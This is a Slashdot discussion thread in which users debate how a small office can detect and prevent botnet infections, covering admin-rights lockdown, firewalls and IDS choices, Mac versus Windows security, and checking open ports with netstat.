      Especially in a small business, your users will rebel if they can't install (or use) their software... which is quite reasonable given most people are still running Windows XP, and most XP software is not capable of being installed or sometimes even used without admin access... this is especially troublesome if that user happens to be the CEO/Owner.

      You hardly ever have time/resources to "do it properly" in a small business, unless what you're "doing right" is a core competency of the business. The trick is to convince the guy who signs the checks that it is business/mission critical (often non-trivial).

      --
      Make sure everyone's vote counts: Verified Voting
    9. Re:Assume it is .. by mlts · · Score: 1

      Actually, you can just block outgoing port 25 and leave it at that. Most E-mail providers use 587 for E-mail submission, and 465 for SSL based E-mail submission.

      The difference is that 25 is intended to talk from a server to another server. 587 is for a MUA like Outlook, Thunderbird, mail.app or mutt to send mail to their "local" mail server, and that server controls authentication, then sends it to other servers via port 25. By separating this functionality, admins can block port port 25 completely except for their authorized (and hopefully hardened) E-mail server.

      This isn't perfect, botnets can latch onto user Exchange settings and use the mail server under that user's name to send out spam, but most upstream mail servers have some sort of sanity checking to clamp down on a user after a threshold of mails sent out.

    10. Re:Assume it is .. by peragrin · · Score: 4, Interesting

      for a small office running windows the end users HAVE to run as admin, as Most windows apps require it. My HP printer drivers, and a couple of other apps require my to be fully logged in as an admin or they don't work basically preventing me from doing most of my work.

      I know this as I tried it as I don't believe I should run as admin. Since Windows and MSFT doesn't force developers to code to security standards, including their own. Running as a non admin in a real world environment is impossible. Oh and just to really make you scratch One of those mission critical apps crashes on install because it loads the win16 subsystem for running.

      It gets updated 3-4 times a year but it still requires win16 components. MSFT has enabled that in 2009 that win16 parts are required still. If MSFT would let go of old and outdated parts like the rest of the OS world shit like that wouldn't happen.

      --
      i thought once I was found, but it was only a dream.
    11. Re:Assume it is .. by iron-kurton · · Score: 5, Insightful

      Just a quick question: how hard would it be to give your most malicious user an account named Administrator that was actually not an administrator?

      --
      Change is inevitable, except from a vending machine -- Robert C. Gallagher
    12. Re:Assume it is .. by QuantumRiff · · Score: 5, Interesting

      No! You do not put all your effort at one entry point.. I have seen a company that was totally secure from the old "code red" virus because all the firewalls were updated, and public facing servers were patched. The network guys blocked all the appropriate ports at the firewalls. Then, a Salesman came into the office from out at a client site, and hopped on the network to check his email, and his laptop took out everyone.

      You need layers of defense. preferably from different vendors or makers.

      And really, this is Slashdot, why are you recommending Fortigate or ASA? you should be talking up Snort, or its commercial appliance version, Sourcefire.

      --

      What are we going to do tonight Brain?
    13. Re:Assume it is .. by GravityStar · · Score: 1

      If you are doing this, fyi; you can setup *.lnk files to call run-as and prompt for an elevated password:

      C:\WINDOWS\system32\runas.exe /user:machinename\elevatedaccountname "C:\Full path to.exe"

    14. Re:Assume it is .. by Anonymous Coward · · Score: 0

      2.) Unfortunately any expense is an expense, (economy doesn't help.) This is why you will note all my network software is freeware.

      This is why you have the "sooner or later" attitude towards your workstations getting infected. I've worked in those shops, the IT team's neck fat giggles when they talk about Linux, hate Windows, never spend money on solutions, last researched Windows issues in the early 2000s when XP was last year's Vista, and it would show in the management of the desktops. If taken seriously, IDS/IPS installed like it should be, and everything is kept up to date, you will very rarely have to restore an image on a XP desktop.

    15. Re:Assume it is .. by bertok · · Score: 1

      This is all easy to do. Why aren't you doing it? For a small office, it wouldn't even be expensive.

      Especially in a small business, your users will rebel if they can't install (or use) their software... which is quite reasonable given most people are still running Windows XP, and most XP software is not capable of being installed or sometimes even used without admin access... this is especially troublesome if that user happens to be the CEO/Owner.

      You hardly ever have time/resources to "do it properly" in a small business, unless what you're "doing right" is a core competency of the business. The trick is to convince the guy who signs the checks that it is business/mission critical (often non-trivial).

      If you have full-time IT staff at the company, it's possible to convince users that they're better off, you just have to approach things from the right direction. For example, making users "non-admin" and "user-initiated software installation" are not mutually exclusive. Under Windows, you can publish a list of pre-prepared applications, and users can be allowed to install anything from that list at will simply by clicking an icon. It's much harder if you're not always on site, ready to install applications for users in an ad-hoc manner.

      Also, before you remove user's admin rights, make sure that their new desktop image contains every app they have previously used. If they don't feel the need to install any additional software, they won't even notice that they can't. For example, you can go a long way by making sure that every workstation has all the basic 'frameworks' like Java, .NET, Flash, etc... that way, every website will work.

    16. Re:Assume it is .. by mcrbids · · Score: 4, Insightful

      You hardly ever have time/resources to "do it properly" in a small business, unless what you're "doing right" is a core competency of the business. The trick is to convince the guy who signs the checks that it is business/mission critical (often non-trivial).

      Sure you do! It's called OSX. Now, before you flame me into submission, understand that I'm writing this on my Fedora Core Linux laptop. I'm a command-line junkie extraordinaire, and don't feel comfortable until I have an xterm or three up on one or two virtual desktops while running dual-head.

      But there's a very real, very useful, and very definite benefit to running on OSX - there really is not just nearly as much of a problem with viruses, worms, trojans, and other crapware. Really really for real and yes, it's for real.

      Really.

      You can argue about marketshare or Unix core or whatever, but it's true - Macs *are* more reliable and *do* have much less of a problem with viruses and such. Who cares why? And if you really must run something windows like, you can get Parallels/VMWare or boot camp. (I recommend the former unless you are a gamer) Even better, if you go the VM route, you can easily save your Windows VM image to an external disk every week or so, and if/when it gets infected, just recover from a backup and be up and running again in minutes instead of days!

      I didn't appreciate OSX until I had to port our software over to it. It was painful at first, but in the process, I fell hard-core in love with OSX. Except for the dated Unix command line, it's everything that Fedora Core ever dreamed of.

      --
      I have no problem with your religion until you decide it's reason to deprive others of the truth.
    17. Re:Assume it is .. by Anonymous Coward · · Score: 0

      Fortinet Fortigate, Cisco ASA, and Sonicwall firewall/IPS/IDS devices are quite expensive and difficult to administer for the average home user. Yes, they have lovely GUI interfaces, but so does Windows, and we know how easily that gets pwn3d. If you're dead-set on a home IDS/IPS, a better option would be Linux firewall + Snort. pfSense may suit you well. Since OP mentioned Linksys, DD-WRT and the many other OpenWRT variants may be good options.

      As a side note, the least expensive Cisco ASA that can perform IPS functionality is the ASA 5510 with the AIP-SSM module installed. That bad boy is going to set you back more than $3,500. A more budget-friendly option is the Sonicwall TZ100 Wireless for about $350.

    18. Re:Assume it is .. by Iverach · · Score: 1

      Or Untangle if you want a slightly cheaper alternative to a Fortigate/etc. http://www.untangle.com/ There is a free, open source version and several paid versions.

    19. Re:Assume it is .. by DigitalCrackPipe · · Score: 1

      You need to take away the Local Administrator rights from every user on the network

      Apparently your business doesn't do software development for Windows. When developing for Windows using Visual Studio, local admin rights are needed to run the debugger. Any business that involves engineering of the software variety will generally need an exception policy to determine who actually needs those rights.

    20. Re:Assume it is .. by Anonymous Coward · · Score: 0

      Obviously you've never used QuickBooks. All versions and editions of QB that I've seen seem to require administrative access just to run the fscking program.

    21. Re:Assume it is .. by Anonymous Coward · · Score: 0

      You're doing it wrong.

      You're creating a workplace where no sane creative person would ever want to work.

      No, "security" does not trump profitability.

    22. Re:Assume it is .. by PsychoSlashDot · · Score: 5, Informative

      All great points, here are mine.

      1.) We are an architecture office which runs AutoCAD problem is this requires Power User group membership in order to run. (also on windows even without admin privs malicious software can infect.

      No, AutoCAD doesn't require Power User membership. What it requires is someone to spend a few minutes to adjust the system to allow it (and pretty much anything else) to run with User perms only. Do a Google search for Filemon and Regmon formerly from SysInternals and now Microsoft free software. Run them (using RunAs since these DO require admin rights) while your users have normal perms. Set them to only show you what ACAD.EXE does. When it craps out (and it will), search the logs for Access Denied. Manually add perms for Users Full Control to the folders and registry keys that it requires. This will take several passes as the program will run better and better each time. Write down what you have to permit, so next time you install on a new machine you'll know what you need.

      Almost none of my hundreds of supported desktops allow users to have admin rights. The ones I'm not PERMITTED to spend the labour tend to get owned periodically. The non-admin systems don't. Really. Since Win2k's release I have yet to have even one system actually get infected. Light damage, yes. Infected, no.

      What... you think admins running Citrix or Terminal Servers just throw their hands up in the air and accept some lazy-ass vendor's word that their software NEEDS admin rights?

      --
      "Oh no... he found the .sig setting."
    23. Re:Assume it is .. by TeamSPAM · · Score: 1
      If you haven't already do a

      setenv COMMAND_MODE unix2003

      That will make ps -ef work on OS X.

      --
      Brought to you by Team SPAM! where we believe: "Information in the noise!"
    24. Re:Assume it is .. by Anonymous Coward · · Score: 0

      You need to take away the Local Administrator rights from every user on the network, and use Group Policy to a) lock down Internet Explorer, and b) prevent them from installing any software and c)making any system changes.

      And you need to get some body armour for when your users respond by beating you to death with sticks.

    25. Re:Assume it is .. by ion.simon.c · · Score: 1

      When developing for Windows using Visual Studio, local admin rights are needed to run the debugger.

      Apparently *you* don't do software development for Windows. :) You don't need local Admin rights, you need "Debugger Users" rights. Granted, they *can* be almost the same, but they are *not* identical.

    26. Re:Assume it is .. by Anonymous Coward · · Score: 1, Funny

      what are you talking about? OSX has a dated Unix command line. All you have to do is type [apple]-[space] term [enter]. You can even make it a little better by typing bash [enter] after that.

    27. Re:Assume it is .. by dbIII · · Score: 1

      Then there's the abandonware 'security' software that stops you running such things as GIS software unless you have a dongle or the right MAC address. Such pieces of crap not only require the user to have full Admin rights but also run 16 bit code so your application that could do with decent amounts of memory can't run on a Microsoft OS that will give you decent amounts of memory. It's truly bizzare to see MSDOS only licence key updating software for a USB device. It's even more bizzare encountering things like a Y2K bug in 2008 (Macrovision's flexlm software) which decides you can't run your stuff that is on a permanant licence anymore because it's after 2000.
      There is a LOT of extremely crappy software that requires Admin rights. I have one idiot dotnet developer that made an inhouse application that stores it's frequently changing config file at the root of the windows system drive, which meant now every secretary and temp that does not know enough about MS Windows to use the "start" menu has got to have full Admin rights to their machine. There are so many things that make the rather odd MS Windows security model completely irrelevant. All you can do in such a situation is to cage off the vunerable machines from the outside world as much as possible, make sure nothing of value is stored on them, watch them like a hawk and be ready to wipe and replace at short notice.
      If you can lock it down to a platform that is not full of crap it's a different story, but in many cases it has to be an insecure pile of crap to run the rubbish that the MSDOS developer mindset has given us.

    28. Re:Assume it is .. by Anonymous Coward · · Score: 0

      "You can argue about marketshare or Unix core or whatever, but it's true - Macs *are* more reliable and *do* have much less of a problem with viruses and such."

      The geek in me wants to scream bloody murder and insult your lineage and genitalia, while screaming about how Vista doesn't ask me - every goddamned time I open Firefox - if I'm sure I want to open an application downloaded from the Internet. I also want to emit nerd rage at a power level of over 9000 and point out that I have yet to ever suffer from a virus or malware on Windows. 0 infections. Over 15 years. 0.

      Yet the polite gentleman in me wants to agree with you. Chances are, you're dealing with clueless users without an ounce of computing knowledge. Left to their own devices, they'll download porn using IE6 and their box will be owned within seconds.

      Yeah, go with Mac OS X. They'll be gullible enough to believe the annoyance factor is a shiny, Steve Jobs approved feature.

    29. Re:Assume it is .. by complete+loony · · Score: 1

      For a small trusted business, create a desktop administrator user that everyone knows the password for. That way you're not running your desktop as admin, but you can still install programs by using "Run As..." from the context menu. Though it won't help if your users will install just about anything...

      --
      09F91102 no, 455FE104 nope, F190A1E8 uh-uh, 7A5F8A09 that's not it, C87294CE no. Ah! 452F6E403CDF10714E41DFAA257D313F.
    30. Re:Assume it is .. by complete+loony · · Score: 1

      A power user is an administrator who hasn't bothered to elevate their privileges yet...

      --
      09F91102 no, 455FE104 nope, F190A1E8 uh-uh, 7A5F8A09 that's not it, C87294CE no. Ah! 452F6E403CDF10714E41DFAA257D313F.
    31. Re:Assume it is .. by Anonymous Coward · · Score: 0

      having to explain why an office doc doesn't render right in osx compared with windows sucks even more than just reimaging every so often.

    32. Re:Assume it is .. by RomulusNR · · Score: 1

      Right. Everytime a user needed to install a piece of software, they'd have to put in a request for IT support. IT support (i.e. you) would put it in a queue, low prioritize it, and fix it next week. In the meantime the user can't do their job because they're waiting for you to come over and enter a password and then click Install. That's no way to run a railroad.

      --
      Terrorists can attack freedom, but only Congress can destroy it.
    33. Re:Assume it is .. by RomulusNR · · Score: 1

      I suppose if all your users are secretaries or CSRs then you can get away with this, but if your users are engineers then they are going to need to be installing new tools all the time to do their jobs, and waiting for you to get around to manually doing the same monkey work they are more than capable of doing, and you staying late on Friday night to do it to all their machines, each time a new tool comes along that they want to use -- or even evaluate, is not in anyone's interests.

      --
      Terrorists can attack freedom, but only Congress can destroy it.
    34. Re:Assume it is .. by bogjobber · · Score: 1

      What if your business runs proprietary software only available on Windows? In my experience this is what most small business do, mostly because they have to. Even if you dual boot or use a VM, you're still going to be running Windows as admin 99% of the time so the benefit is negligible. Once you factor in spending the extra time and money on training/IT as well as the increased cost of Mac hardware, there's usually not a business need for IT to be that solid. Doing it quick, dirty, and cheap is usually the best solution for small businesses.

    35. Re:Assume it is .. by g0at · · Score: 1

      Sure you do! It's called OSX.

      Actually, it's called Mac OS X. (If that's what you're talking about.)

      -b

    36. Re:Assume it is .. by wild_berry · · Score: 1

      Even better, if you go the VM route, you can easily save your Windows VM image to an external disk every week or so, and if/when it gets infected, just recover from a backup and be up and running again in minutes instead of days!

      Even better, just DD the drive image every week to a backup. Why bother with virtualisation?

    37. Re:Assume it is .. by superskippy · · Score: 1
      Fecking windows control freak admins!

      Right, here is what happens if you try and implement this:

      1. People will do anything to avoid being connected to your domain. They'll hide their computers. They'll buy new computers from a different budget pool, them claim that because they bought them from non-IT department money they can do what they want with them. They'll bring their own computers into work.
      2. Your users also spend all of their time trying to hack around your restrictions rather than doing the work you pay them for. It's very hard to lock Windows down totally.
      3. Your new full time job is unrestricting web sites from Websense Express, and installing necessary software on their PCs, and fixing programs that don't work if they don't run as Administrator

      Intrusion detection and virus scanning is great idea, but taking peoples rights to look after their own computers means you piss them off, and give yourself tons more work. The right answer is to give them something that doesn't get easily hacked. Since many companies are stuck with Windows, the GP has it right- let them do what they want, and then if they break it keep a clean image.

    38. Re:Assume it is .. by superskippy · · Score: 2, Insightful

      I hate to break the Slashdot rules-of-posting, but I've got some sympathy for Microsoft here. A lot of the things Vista tried to do was to sweep away some of the old crud and make developers code more securely- that was what the whole Blah wants to do something- confirm or deny bit was about.

      Everyone's reaction? Waaaaahhhh, my computer is far more annoying. Where are my XP disks?

      MS are damned if they do sweep away old insecure crud (because old stuff stops working) and damned if the don't sweep old crud away (because their OS has a load of crud in it). Their main competitor (Apple) doesn't have this problem- when people move to a Mac they expect all of their old stuff to stop working- indeed none of their old applications work!

    39. Re:Assume it is .. by MobyTurbo · · Score: 1

      You hardly ever have time/resources to "do it properly" in a small business, unless what you're "doing right" is a core competency of the business. The trick is to convince the guy who signs the checks that it is business/mission critical (often non-trivial).

      Sure you do! It's called OSX. In case you didn't notice, the person asking the question is in India. Are you aware of how Apple ignores exchange rates so that a Mac is extremely expensive in India, even more so than it is in the US? Apple is really not an option outside the US, especially in countries that have had an even larger change in the exchange rate than the average amount inflicted on the currency market by George W. Bush.

      Posted from a Mac mini, I know what OS X is like. :-)

    40. Re:Assume it is .. by MobyTurbo · · Score: 1

      My apologies for the poor formatting. (Taco, why not make /. a little more user-friendly by getting a little WYSIWYG?)

    41. Re:Assume it is .. by nkcaump · · Score: 0

      I simply disagree. Small offices are some of the easiest offices to lock down - providing you know where to look. What you lack, unfortunately, is an advocate in the user community that will allow those standards to be set. You are right, you can't just show up Monday and start editing group policies. What you can do is show the owner or financial person the cost associated with cleaning a virus, versus the cost associated (and increased productivity) with keeping a computer streamlined and protected. Small businesses - especially in this economy - will listen to ANYONE who can tell them how to save a buck. The ding-dong receptionist who just happens to need AutoCad on her computer because she prints some stuff for the guy in the corner office needs to be protected the MOST because she's on Facebook all day playing Bejeweled. Additionally, when you tell the financial person that she's ON Facebook all day - that may prompt an entirely separate conversation. Companies aren't fond of paying people now a days to just surf the Internet all day. Keep on it - you're right - it's political and can be a mess. Just don't throw up your hands and say "welp, can't beat 'em, so I'll just join 'em."

      --
      Yep.
    42. Re:Assume it is .. by MogNuts · · Score: 1

      And now this reminds me never to hire you. Are you seriously advocating this as real advice?

    43. Re:Assume it is .. by coolmoose25 · · Score: 2, Insightful

      You can argue about marketshare or Unix core or whatever, but it's true - Macs *are* more reliable and *do* have much less of a problem with viruses and such. Who cares why?

      You will care about why when the market share numbers change. If MACS were 90% of the market, they'd be the ones with the botnets running on them, and the Windows machines would look just like Macs do to you. And it doesn't need to get to 90% for it to be that way. As the Mac marketshare continues to climb - and it will - you'll find that botmakers will target the Mac platform. They'll find holes. And they'll start to get infected. It is a function not of the OS, but a function of WHO is running them. Historically, the uneducated, uncaring masses were the home user running Windows. The botnets are written for THEM. When the uneducated, uncaring masses are running Macs, the botnets will be written for them too. Sure, you can buy some time by going the Mac route today. You'll be helping make Macs get on the bad guys radar screen, and will hasten the botnet coming soon to a computer near you!

      --
      Brawndo: It's what plants crave!
    44. Re:Assume it is .. by Overzeetop · · Score: 1

      That works perfectly until something won't install, at which point you get fired. Many people who feel they require that level of access, and install things which require it, know the difference.

      But, hey, thanks for playing.

      Disclaimer: I am "that guy" in my office. Having access to admin rights may not be critical 90% of the time, but hell hath no fury like an engineer under a deadline who need something to work NOW and doesn't have 2 hours to let the IT guy do it. Now, in my case I also happen to run IT, so there's no real conflict here. If something gets screwed up, I'm the one who has to pick up the pieces.

      --
      Is it just my observation, or are there way too many stupid people in the world?
    45. Re:Assume it is .. by Adam+Jorgensen · · Score: 0, Redundant

      A common refrain, but not necessarily true. By and large UNIX-based OSes have proven themselves far harder to penetrate in general with regards to security and I personally do not believe the rota "If your OS had a 90% marker share it'd be spammed by viruses too..." retoric of windows apologists.

      When it comes down to it, Windows is just plain insecure and no amount of arguing to the contrary and sidelining into market shares will change this fact.

      If, the day after tomorrow, all Windows machines suddenly became Macs running OS X there would be a marked drop in malware infection levels that would not suddenly ramp up again in a few months as malware authors adjusted. Personally, I think most malware authors are simply not on the level of the people attending the Black Hat conferences and could barely make the leap from Pascal to C without some hand holding...

    46. Re:Assume it is .. by Anonymous Coward · · Score: 0

      its called the preview button.

    47. Re:Assume it is .. by mcvos · · Score: 1

      I think the problem was that they did it in a bad and annoying way.

    48. Re:Assume it is .. by mcvos · · Score: 1

      When developing for Windows using Visual Studio, local admin rights are needed to run the debugger.

      Really? That's amazingly stupid. I've never heard of needing admin rights for a debugger before, and I can't imagine a good reason why it would be different for Visual Studio. A good reason to use something else, I guess.

    49. Re:Assume it is .. by Anonymous Coward · · Score: 0

      Macs have some of the worst administration/management tools out there. Though they do work out well as personal computers.

    50. Re:Assume it is .. by Em+Emalb · · Score: 1

      Right, here is what happens if you try and implement this:

            1. People will do anything to avoid being connected to your domain. They'll hide their computers. They'll buy new computers from a different budget pool, them claim that because they bought them from non-IT department money they can do what they want with them. They'll bring their own computers into work.
            2. Your users also spend all of their time trying to hack around your restrictions rather than doing the work you pay them for. It's very hard to lock Windows down totally.

      Then you fucking FIRE THEM. Security is not so your users can do whatever the hell they want.

      --
      Sent from your iPad.
    51. Re:Assume it is .. by prozaker · · Score: 1

      for that matter you can run osx in a virtual machine.... and lock down the windows xp host.
      your solution is deceptive, because its only a matter of time before all osx and linux suffer from botnets and malware, the answer isn't OMG CHANGE XXXX OS TO THIS OS, BC ITS KEWLL!!!! the answer is, security, education and common sense.

    52. Re:Assume it is .. by greed · · Score: 1

      Microsoft knew what they needed to do back in the NT 3.1 days.

      Remember, Microsoft used to make a UNIX product (Xenix); Microsoft was very involved in the OS/2 development.

      Part of their selling strategy for NT was it was more convenient and easier than those cumbersome systems. And that was because you didn't have to have admins setting up security contexts; there weren't any. Even though the system (NT/2K/XP/2003/Vista/..., not 95/98/ME) could do them.

      They created the mess that is Windows today so they could be number one in the market. And it's been catching up to them for the last few years.

    53. Re:Assume it is .. by WuphonsReach · · Score: 1

      Especially in a small business, your users will rebel if they can't install (or use) their software... which is quite reasonable given most people are still running Windows XP, and most XP software is not capable of being installed or sometimes even used without admin access... this is especially troublesome if that user happens to be the CEO/Owner.

      Users typically rebel because prior IT help was unresponsive to their needs / wants in a timely manner.

      We finally managed to lock down our machines back in '07 after we had 3 machines get infected within a 2 week period. That finally convinced everyone (users, the owner) that the ability to install software willy-nilly was too great of a risk.

      Since then, we've had maybe once incident every few months. And because the user didn't have admin permissions, the malware was unable to infect the box (or was extremely easy to clean). Sometimes the malware fails to install, so a simple reboot fixes the issue. But we'll still run anti-malware scans on the boxes every month or two to make sure.

      --
      Wolde you bothe eate your cake, and have your cake?
    54. Re:Assume it is .. by Anonymous Coward · · Score: 0

      No, you're a naughty boy and I think you know that already.

      15 years or so ago i got my first job in a company not dislike your own. There was one major difference...

      they weren't CAD jockies they were developers. Worse still they were a bunch of young genius types who had recently gone rebel from a big company with a two letter name and put together their own start up.

      The CEO basically said they were an R&D company, and everybody else in the company only had a job to keep the 10 or 15 lead developers happy.

      We were called the IT elves, if something went wrong they would just snap their fingers and the IT elves would come and make it all better for them. They also would email us the lists of the various hacks, patches and weirdass apps they needed so we could be ready to rebuild / reimage their PCs back to their preferred state asap.

      Lastly, a good portion of the dev team were from eastern europe and had the stange habbit of surfing porn and warez sites when they were board between builds or test sessions. (I don't know if this is particular to eastern europeans in general or just to this specific group, before anyone fries me for that comment)

      Anyway, my boss eventually lost it from constantly rebuilding machines for the devas and left, leaving me head of IT for our small company.

      The point is, wait what was the point, oh yeah...

      I turned then entire thing around, installed freebie and cheapass firewalls/IDS etc. Back then things were not so bandwidth intensive so I got away with running it all on cheap PCs. The effort was mostly leaving how to set it all up.

      Later they managed to sell their kickass IP to a company with a two letter name, making themselves all rich (I did alright out of my options..), but it took them like 5 years to get there, and in the meantime the same crappy generic cheapass PCs handled all of the company's IT facilities besides backup and the princess devs remained mostly virus and spam free.

      In my experience the cheap ass DYI option can save the day, but its not going to scale so easily and you're going to have to spend some pain learning how to make it all fit your company.

      I still remember the meeting with the CEO to ask for 30K to buy one of them sexy hardware firewall things (fortinet), having just made a big pile of dough out of the sale to the H company, he said 'yeh whatever, buy two'

      Naturally the company, then rich, tripled in headcount within a year. this made life a lot more interesting until I finally figured out how to make all the enterprize priced IT facilities run optimially.

      It took a little while but for a year or so I hosted about 300 people. Of course like many R&D focused companies with dev head CEOs we folded not long after having discovered the only customer we could find was the H company and our further development of the awesome software didn't go in the direction the H company needed.

    55. Re:Assume it is .. by Brigadier · · Score: 1

      Thanks this is useful info, will look into it. Of the twenty users or so which I oversee (keeping in mind IT guy is a secondary role) I only have one or two who always get infected. They are the ones who go lurking in the dark corners of the undernet looking for archaic lisp routines. If I coudl shoot them I would but I can't

    56. Re:Assume it is .. by Anonymous Coward · · Score: 0

      Even better, if you go the VM route, you can easily save your Windows VM image to an external disk every week or so, and if/when it gets infected, just recover from a backup and be up and running again in minutes instead of days!

      Even better, just DD the drive image every week to a backup. Why bother with virtualisation?

      Because then you get to pay Apple a few thousand dollars to virtualize a PC to run the license of Windows you're still going to have to pay for, secure, and maintain. GP is either a shill or hasn't actually thought this through beyond the "oooh shiny" aspect.

    57. Re:Assume it is .. by Burz · · Score: 1

      I didn't appreciate OSX until I had to port our software over to it. It was painful at first, but in the process, I fell hard-core in love with OSX. Except for the dated Unix command line, it's everything that Fedora Core ever dreamed of.

      Seeing how Fedora has brought roughly zero innovation to the desktop, I think its safe to say that OS X somewhat surpasses the Fedora developers' imaginations.

    58. Re:Assume it is .. by vaporeysole · · Score: 1

      Amen! I'm a Citrix admin and we take great pains not to make users admins on the Terminal Servers even under the advisement of the vender. So far, all users are admin free and no problems. It's the policy of the comapny, so if the users dont like it, we have the backing of the president who understands the dollars at stake.

    59. Re:Assume it is .. by Anonymous Coward · · Score: 0

      Process Monitor. http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx

      NonAdmin Wiki. http://nonadmin.editme.com/HowTo

      Do your homework on how to really administer Windows systems before you complain about impossibilities. People do this every single day.

    60. Re:Assume it is .. by Anonymous Coward · · Score: 0

      Did you read the part about "expensive"?

    61. Re:Assume it is .. by PsychoSlashDot · · Score: 1

      I just wanted to add a little info for you. AutoCAD is one of the trickier apps to get working without admin rights. It'll take more than a few iterations to fix it. Most apps are simple and just need a single folder or registry key set to allow Users Full Control on them. Sometimes it's as stupid as running the app once as administrator to let it create an .INI file in a naughty folder (like C:\WINDOWS) and then granting perms on that one file, but in AutoCAD's case it's a few more. Still, very, very do-able and worth the result.

      The basic method is simple. Install the app, run it as administrator to prove it works. Run it as the user with local admin rights again to prove it works. Strip the admin rights from the user and log back on as them. Use RunAs to get a command prompt running in administrator's security context. Launch FileMon and RegMon (or the newer ProcMon if you'd like) from this command prompt and filter it's output to only show you what your target software's executable name is. Run the app the normal way. Something will break. Alt-Tab back to your monitoring tools and search (Ctrl-F) for Access Denied. There may be several. Using the administrator command prompt, you can run REGEDIT as administrator, allowing you to make changes there without logging off. Woot! You can't run Explorer that way, so file permissions are a tiny bit trickier. I personally just fire up NOTEPAD from the administrator command prompt, then hit File | SaveAs to get an Explorer-like window. You can right-click on folders in there to get the menu, then use Properties to get to the Security tab as usual. For files, simply set the filter in Notepad to show you all files (*.*) and you'll be able right-click on them too!

      Once you get used to using this technique, you'll start to recognize common Access Denied messages that DON'T need to be changed. Oh no! This app is trying to do something to the Joystick section of the registry! Meh.

      Obviously, if your main executable shells out to other executables, you'll need to trace them as well. Fire up Process Explorer to sniff around at what's running what. That's another MS (former SysInternals) freebie.

      Since the NT kernel rolled out and added file/registry perms, I have been defeated by exactly two apps to date. Simply Accounting and Quickbooks each contain some weird internal PDF creation system. I couldn't get that particular function working, even after satisfying every file/registry demand the apps had. I figure there's some weird privilege that I could probably assign in Local System Policy if I knew what it is. Probably some weird "create inverted meta-fraking named pipe wormholes" or something. It wasn't important as everything else in both apps work 100%.

      I support a lot of industries ranging from clerical to manufacturing and virtually all of my clients have at least one industry-specific weirdo app to go along with the usual staples. Sure, I see MS Office and WordPerfect Suite all the time, but I see custom insurance quoting packages, real-estate organizers, tool & mold cutter-path tracing packages, financial whatsits, and art gallery asset tracking databases as well as point-of-sale crap written in MS Access. The above technique works for virtually everything. Just be patient and methodical and you'll get where you need to be.

      Good luck, and if you need any advice or help, let me know. We're all in this together and the more we help each other, the fewer screwed up PCs out there there will be.

      --
      "Oh no... he found the .sig setting."
  7. Re:Your Computer Is Part Of A Botnet If by Anonymous Coward · · Score: 0

    I LOLed

  8. P2P... by Anonymous Coward · · Score: 0

    ...or your dad is downloading stuff from a p2p network....

  9. Check network connections by Krneki · · Score: 1

    Close all programs

    c:\>netstat -b

    --
    Love many, trust a few, do harm to none.
    1. Re:Check network connections by dotgain · · Score: 1

      c:\>netstat -b Your computer is fine. c:\> Phew, all good here!

    2. Re:Check network connections by dotgain · · Score: 3, Funny

      ... and now imagine I chose 'Plain text'

      c:\>netstat -b
      Your computer is fine.
      c:\>

      Sweet!

    3. Re:Check network connections by Krneki · · Score: 1

      Probably a joke, but I don't get it.

      Anyway, the less the netstat -b returns, the less crap is running on your PC.

      netstat -a is also fine, but you will have to know every application communication port to know if you got any non-approved program running.

      --
      Love many, trust a few, do harm to none.
    4. Re:Check network connections by geminidomino · · Score: 1

      c:\> netstat -b
      Nothing is running. Everything is just fine. Stop looking. Go have a drink and read the paper.

      Love and kisses,
      My^WYour Computer

      c:\>

      Get it now? :)

    5. Re:Check network connections by Krneki · · Score: 1

      ok :)

      --
      Love many, trust a few, do harm to none.
  10. See what is going on with NETSTAT by (H)elix1 · · Score: 4, Informative

    Fire up a command prompt and type

    netstat -a | find "LISTENING"

    to find out what ports your system is listening to. Running the netstat command will give you all the traffic. Should give you a good idea as to what is happening. (Helps to close all of your 'normal' apps)

    1. Re:See what is going on with NETSTAT by Blakey+Rat · · Score: 2, Informative

      Considering GREP doesn't even exist in CMD and FIND does, I think the grandparent has it right and you're the one who is confused.

      The command works fine, in Vista at least. Probably requires Admin privileges for full results.

    2. Re:See what is going on with NETSTAT by mkramer · · Score: 5, Funny

      This is windows. find == grep. Well, find < grep.

    3. Re:See what is going on with NETSTAT by Anonymous Coward · · Score: 0

      Ah, the UNIX "command prompt", and the Windows "grep" command...

    4. Re:See what is going on with NETSTAT by Anonymous Coward · · Score: 0

      I can't tell if you're joking or dead serious ...

    5. Re:See what is going on with NETSTAT by Anonymous Coward · · Score: 0

      Windows has a command line??

    6. Re:See what is going on with NETSTAT by mr_flea · · Score: 1

      'find' can be used as grep on Windows. Windows does not come with grep.

    7. Re:See what is going on with NETSTAT by Zalbik · · Score: 5, Insightful

      The parent has find and grep confused, as far as I can tell.

      You have Windows and Linux confused, as far as I can tell.

    8. Re:See what is going on with NETSTAT by (H)elix1 · · Score: 1

      I tried the command with the 32-bit and 64-bit version of XP pro. Not sure what XP home will do. If this is XP pro, and this is missing/won't work - that is usually a big red flag that something has messed with your OS.

    9. Re:See what is going on with NETSTAT by melikamp · · Score: 1

      My bad. I just could not believe that someone suggested using command line in Windows. What an age we live in...

    10. Re:See what is going on with NETSTAT by Anonymous Coward · · Score: 0

      Ha! you use Vista. I found that very funny.

    11. Re:See what is going on with NETSTAT by dkf · · Score: 1

      'find' can be used as grep on Windows. Windows does not come with grep.

      XP does come with 'findstr' though, which is ... well, not as good as 'grep' but still far better than (old MSDOS-style) 'find'. You can even use regexps with it; it's a genuine real productivity tool that Microsoft accidentally let slip out of the door and one of the few real gems.

      Of course, back when I used to use Windows a lot I had a build of real GNU grep for it.

      --
      "Little does he know, but there is no 'I' in 'Idiot'!"
    12. Re:See what is going on with NETSTAT by 2obvious4u · · Score: 1

      Cygwin is your friend on a windows box when you need to grep log files.

    13. Re:See what is going on with NETSTAT by Anonymous Coward · · Score: 0

      netstat -an|findstr /i /r "listening"

  11. If you suspect the router itself by Ilgaz · · Score: 5, Informative

    If I had that kind of suspicion and if it was router itself I was suspicious about, I would simply get the latest stable firmware for that particular model (be careful) and simply reinstall it over the router itself. It would be something like "format and install windows" I wouldn't really backup any settings on that case. Just make sure you know ISP login and pwd. Make sure they work, they haven't been changed at any point or you will end up speaking with Bangalore at 4 AM :)

    A simple,fast port scanner exists at http://www.grc.com/ (shields up!) which really works, ignore Mr. Gibson's weird named inventions like "nano scan" etc. What I know is, it works. Oh also ignore its port 139 or "you aren't stealth" paranoia. 139 is client port and stealth would be good but you won't really die if you have nothing served.

